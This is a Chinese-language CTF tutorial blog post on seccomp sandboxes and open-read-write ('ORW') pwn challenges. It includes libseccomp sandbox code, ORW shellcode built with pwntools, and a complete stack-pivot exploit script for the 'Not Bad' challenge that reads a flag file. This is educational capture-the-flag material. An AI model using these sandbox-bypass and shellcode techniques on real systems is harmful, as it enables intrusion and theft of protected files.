Featured image of post CTF-pwn orw

CTF-pwn orw

浅学 orw,如有错误请指出

前言

使用环境 :wsl kali linux

本文集中介绍 seccomp 沙箱与 orw 相关题型知识。

seccomp 沙箱

全称名为 secure computing mode,其是 linux 内核提供的一种安全机制,它的作用是:

设定并检查一种 syscall 是否合法

比如在 pwn 中,就可以通过 seccomp 沙箱,禁止调用 execve('/bin/sh',,)

seccomp 沙箱模式

1.strict mode

严格模式(白名单),只允许少数的 syscall 执行。

设置方式类似:

prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

2.filter mode

过滤模式,相比严格模式更加灵活。黑名单。

设置方式类似:

prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);

或者用 libseccomp

1
2
3
4
5
6
v1 = seccomp_init(0);
seccomp_rule_add(v1, 2147418112, 0, 0);
seccomp_rule_add(v1, 2147418112, 1, 0);
seccomp_rule_add(v1, 2147418112, 2, 0);
seccomp_rule_add(v1, 2147418112, 60, 0);
return seccomp_load(v1);

如何使用 libseccomp 设置一个 seccomp 沙箱

1.安装开发库

sudo apt install -y libseccomp-dev gcc

2.一个简单的 seccomp 程序

这个程序只允许:

1
2
3
4
5
read
write
open
exit
exit_group

sandbox.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <seccomp.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/syscall.h>

void sandbox() {
    scmp_filter_ctx ctx;

    // 默认动作:不符合规则的 syscall 全部杀掉
    ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        _exit(1);
    }

    // 允许 read
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);

    // 允许 write
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);

    // 允许 open
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);

    // 允许 exit
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

    // 允许 exit_group
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    // 加载规则
    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        _exit(1);
    }

    seccomp_release(ctx);
}

int main() {
    sandbox();

    // 以下具体功能实现
}

编译: gcc sandbox.c -o sandbox -lseccomp

-lseccomp 指链接 seccomp 库)

seccomp 其他规则

上面程序的规则是 SCMP_ACT_KILL,也就是所有不符合条件的 syscall 直接杀程序。

我们也可以改为 SCMP_ACT_ERRNO(1),也就是不符合条件的 syscall 不会直接杀程序,而是返回 EPERM,调试更加友好。

seccomp 限制 syscall 参数

seccomp 不仅可以限制 syscall 的 rax,或者 32 位中的 “syscall 类型”,还可以进一步实现参数的控制与限制。

比如,允许 write(1, buf, size);,但是不允许 write(2, buf, size);,可以这样写:

1
2
3
4
5
6
7
seccomp_rule_add(
    ctx,
    SCMP_ACT_ALLOW,
    SCMP_SYS(write),
    1,    // 有一个限制条件
    SCMP_A0(SCMP_CMP_EQ, 1)  // 限制 fd 必须为 1
);

但是 seccomp 不能检查其指针指向的内存内容。

比如说 write(1, buf, size);,我们可以限制其只能输出 buf1,假设 buf1 的地址是 0x404080,我们可以这样写:

SCMP_A1(SCMP_CMP_EQ, (scmp_datum_t)buf1) // buf == buf1

但是我们不能检查 buf 里面有没有 flag,并要求其不能输出 flag。

查看 seccomp 规则

假设这个二进制文件叫 pwn。

seccomp-tools dump ./pwn

image

可以看到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

0000 即编号( CODE ),可以看到 if(judge) goto XXXX 就是符合 judge 条件就跳转到 XXXX 编号上执行。

即,除了 read,write,open,exit 以外的就直接 kill 了。

其他的:

  • JT:指 jump true,条件为真时,从下一条指令开始,向下跳几条指令。
    • 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009,当条件为真时,向下跳 0x03 条指令, 0006 + 0x03 = 0009,执行 return ALLOW
    • 可见 read write open 的三个 JT 是连号的 0x03 0x02 0x01
  • JF:指 jump false,条件为假时,从下一条指令开始,向下跳几条指令。
    • 可见 read write open 的三个 JF 都是 0x00,所以他们是顺序连续执行判断的。
  • K:常量,具体含义要看 CORE。

open read write 取三个首字母即 ORW,CTF 中的一种常见题型。

ORW

ORW 即在沙箱禁止 execve 的情况下,如何使用 open read write 三种权限,读取并输出 flag 的题目。

典型 ORW

1
2
3
4
5
buf = 0x123100    // buf 是可读可写区域

payload = asm(shellcraft.open("./flag", 0))
payload += asm(shellcraft.read("rax", buf, 0x50))
payload += asm(shellcraft.write(1, buf, 0x50))

相当于:

1
2
3
open("./flag", 0)
read(open返回的fd, 0x123100, 0x50)
write(1, 0x123100, 0x50)

如果只允许 openat

当传给函数的路径名是绝对路径时,open 与 openat 无区别,此时 openat 自动忽略第一个参数fd。

openat 的函数原型为 int openat(int dirfd, const char *pathname, int flags);,其第一个参数是目录文件描述符。

其中,-100 对应 #define AT_FDCWD -100,指当前工作目录下。

因此只需要写:

1
payload = asm(shellcraft.openat(-100, "./flag", 0))

只允许用 writevsendfile 等同理。

例题:[极客大挑战 2019]Not Bad

题目链接

这道题我们发现,首先是溢出长度太短,其次是 orw,但是题目一开始就分配了一段大小为 0x1000 的可读可写可执行区域,mmap。

考虑栈迁移,ROP_gadget 查询到有 jmp rsp,所以可以直接用。

leave 相当于 mov rsp,rbp;pop rbp;,此时 rsp 指向 ret。

ret 相当于 pop rip;jmp rip,在这里我们填上写有 jmp rsp 的地址。

pop rip 执行使 rsp 下移到 ret+8,需要 sub rsp,0x30 才能回到输入的位置。

jmp rip 执行了 jmp rsp,现在会执行 ret+8 位置的命令。

所以我们需要在 ret+8 的位置填上 sub rsp,0x30;jmp rsp

payload 长这样:

1
2
3
payload = asm(shellcraft.read(0,mmap,0x100)) + asm('mov rax,0x123000;call rax')
payload = payload.ljust(0x28,b'\x00')
payload += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')

因此就会实现栈迁移,迁移到 mmap 上,在 mmap 的前 0x100 大小的部分写入什么就会执行什么。

最终 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

# host = "node5.buuoj.cn"
# port = 26129
# io = remote(host,port)
elf = ELF("./bad")
io = process("./bad")
leave_ret = 0x400A49
jmp_rsp = 0x400a01
mmap = 0x123000

def main():
    orw = asm(shellcraft.open("./flag"))
    orw += asm(shellcraft.read(3,mmap+0x100,0x50))
    orw += asm(shellcraft.write(1,mmap+0x100,0x50))
    io.recvuntil(b"Easy shellcode, have fun!\n")
    payload = asm(shellcraft.read(0,mmap,0x100)) + asm('mov rax,0x123000;call rax')
    payload = payload.ljust(0x28,b'\x00')
    payload += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
    io.send(payload)
    # gdb.attach(io)
    # pause()
    io.send(orw)
    io.interactive()

if __name__ == "__main__":
    main()